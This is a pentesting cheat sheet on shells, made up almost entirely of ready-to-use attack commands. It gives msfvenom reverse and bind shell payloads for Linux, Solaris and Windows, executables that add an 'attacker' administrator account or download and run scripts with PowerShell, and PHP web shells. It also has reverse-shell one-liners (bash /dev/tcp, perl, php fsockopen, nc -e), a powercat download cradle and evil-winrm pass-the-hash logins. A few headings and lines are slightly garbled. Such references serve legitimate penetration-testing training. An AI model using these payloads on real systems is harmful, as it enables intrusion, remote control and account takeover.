# Shells

## Web Shells

{% code overflow="wrap" fullWidth="true" %}
```
Locate and upload the appropriate shell from - /usr/share/webshells
```
{% endcode %}

### Refer to [https://www.revshells.com/](https://www.revshells.com/) for more reverse shells



## Recommended Reverse Ports to grab the reverse shell

<pre data-overflow="wrap" data-full-width="true"><code>nc -nlvp 80
nc -nlvp 443
<strong>nc -nlvp 3000
</strong>nc -nlvp 4444
nc -nlvp 8080
</code></pre>



## Reverse Shells (msfvenom)

* shell/reverse\_tcp = staged payload
* shell\_reverse\_tcp = unstaged payload
* Note that staged payload requires a meterpreter listener to send the second stage of the payload

### For Linux

#### Reverse Shell

{% code overflow="wrap" fullWidth="true" %}
```
32-bit Systems - 
    msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<port> -f elf > shell-x86.elf
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f elf > shell-x86.elf

64-bit Systems - 
    msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<port> -f elf > shell-x64.elf
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f elf > shell-x64.elf
```
{% endcode %}

<details>

<summary>Bind Shell</summary>

<pre data-overflow="wrap" data-full-width="true"><code>32-bit Systems -
<strong>    msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf
</strong>    msfvenom -p linux/x86/shell/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf
    msfvenom -p linux/x86/shell_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf

64-bit Systems -
    msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf
    msfvenom -p linux/x64/shell/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf
<strong>    msfvenom -p linux/x64/shell_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f elf > bind.elf
</strong></code></pre>

</details>



#### SunOS (Solaris)

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
{% endcode %}



### For Windows

#### Reverse Shell

<pre data-overflow="wrap" data-full-width="true"><code>32-bit Systems - 
<strong>    msfvenom -p windows/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > shell-x86.exe
</strong><strong>    msfvenom -p windows/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > shell-x86.exe
</strong>
64-bit Systems -
    msfvenom -p windows/x64/shell/reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > shell-x64.exe
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > shell-x64.exe
</code></pre>

<details>

<summary>Bind Shell</summary>

<pre data-overflow="wrap" data-full-width="true"><code>32-bit Systems -
    msfvenom -p windows/meterpreter/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    msfvenom -p windows/meterpreter_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    
    msfvenom -p windows/shell/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    msfvenom -p windows/shell_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
<strong>    
</strong>64-bit Systems -
    msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    msfvenom -p windows/x64/meterpreter_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    
    msfvenom -p windows/x64/shell/bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
    msfvenom -p windows/x64/shell_bind_tcp RHOST=&#x3C;IP> LPORT=&#x3C;port> -f exe > bind.exe
</code></pre>

</details>

#### CMD Shell

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
{% endcode %}

#### Run Command via exe

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -a [ x86 | x64 ] --platform Windows -p windows/exec CMD="<powershell | cmd command>" -f exe > payload.exe

Examples - 
    msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://<IP>/<payload>')\"" -f exe > payload.exe
    msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators <username> /add" -f exe > payload.exe
```
{% endcode %}

#### Create User via exe

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
{% endcode %}



### Meterpreter Listener

<pre data-overflow="wrap" data-full-width="true"><code><strong>Launch msfconsole - sudo msfconsole
</strong><strong>
</strong><strong>Run the following -
</strong><strong>    use exploit/multi/handler
</strong>    set PAYLOAD &#x3C;payload>
    set LHOST &#x3C;attacker IP>
    set LPORT &#x3C;attacker listening port>
    run
</code></pre>



## Web-based Payloads

### PHP

{% code overflow="wrap" fullWidth="true" %}
```
Web Shells -
 <?php system($_GET['cmd']); ?>
 <?php system($_REQUEST["cmd"]); ?>

Reverse Shells -
 <?php system('nc.exe -e cmd.exe <attacker IP> <port>') ?>
 msfvenom -p php/meterpreter_reverse_tcp LHOST=<attacker IP> LPORT=<port> -f raw > shell.php
 
 cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
 php -r '$sock=fsockopen("<attacker IP>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

```
{% endcode %}

### ASP(X)

<pre data-overflow="wrap" data-full-width="true"><code>Web Shells -
 /usr/share/webshells/aspx/cmdasp.aspx
 /usr/share/webshells/aspx/shell.aspx
<strong>  # Modify shell.aspx variables, string host, and int port
</strong>
Reverse Shells -	
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;attacker IP> LPORT=&#x3C;port> -f asp > reverse.asp
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=&#x3C;attacker IP> LPORT=&#x3C;port> -f aspx > reverse.aspx
</code></pre>

### JSP

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<port> -f raw> reverse.jsp
```
{% endcode %}

### WAR

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<port> -f war > reverse.war
```
{% endcode %}

### NodeJS

{% code overflow="wrap" fullWidth="true" %}
```
sfvenom -p nodejs/shell_reverse_tcp LHOST=<attacker IP> LPORT=<port>
```
{% endcode %}



## Script Language Payloads

### Evil-WinRM

<pre data-overflow="wrap" data-full-width="true"><code>evil-winrm -i &#x3C;ip> -u &#x3C;username> -p &#x3C;password>
evil-winrm -i &#x3C;ip> -u &#x3C;username> -H &#x3C;NTLM hash>
 # Verify usability with: crackmapexec winrm &#x3C;ip>
<strong> # Look for port 5985 in nmap scans
</strong>
> Use the download command to download files while in a evil-winrm session
 # download /relative/file/path/&#x3C;filename>
> Use the upload command to download files while in a evil-winrm session
 # upload /relative/file/path/&#x3C;filename>
</code></pre>

### Powercat.ps1

{% code overflow="wrap" fullWidth="true" %}
```
Download payload:
    powershell -nop -w hidden IEX(New-Object System.Net.WebClient).DownloadString('http://<IP>/powercat.ps1')

Initiate reverse shell:
    powercat -c <IP> -p <Port> -e powershell
```
{% endcode %}



### Perl

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p cmd/unix/reverse_perl LHOST=(<IP>) LPORT=(<port>) -f raw > reverse.pl
```
{% endcode %}

### Python

{% code overflow="wrap" fullWidth="true" %}
```
msfvenom -p cmd/unix/reverse_python LHOST=(<IP>) LPORT=(<port>) -f raw > reverse.py

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<Kali IP>:<Kali port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
{% endcode %}

### PHP

{% code overflow="wrap" fullWidth="true" %}
```
Web Shells -
 <?php system($_GET['cmd']); ?>
 <?php system($_REQUEST["cmd"]); ?>

Reverse Shells -
 <?php system('nc.exe -e cmd.exe <attacker IP> <port>') ?>
 php -r '$sock=fsockopen("<attacker IP>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
```
{% endcode %}

### BASH

{% code overflow="wrap" fullWidth="true" %}
```
Create a .sh file and write the following
 #!/bin/bash
 /bin/bash -c "bash -i >& /dev/tcp/192.168.45.200/9090 0>&1"
```
{% endcode %}

### NC

{% code overflow="wrap" fullWidth="true" %}
```
nc -nv <IP> <port> -e /bin/bash
nc -nv <IP> <port> -e /bin/sh
nc -nv <IP> <port> -c /bin/bash
nc -nv <IP> <port> -c /bin/sh

nc64.exe <IP> <port> -e cmd
nc64.exe <IP> <port> -e powershell
nc64.exe <IP> <port> -t -e cmd
nc64.exe <IP> <port> -t -e powershell
```
{% endcode %}



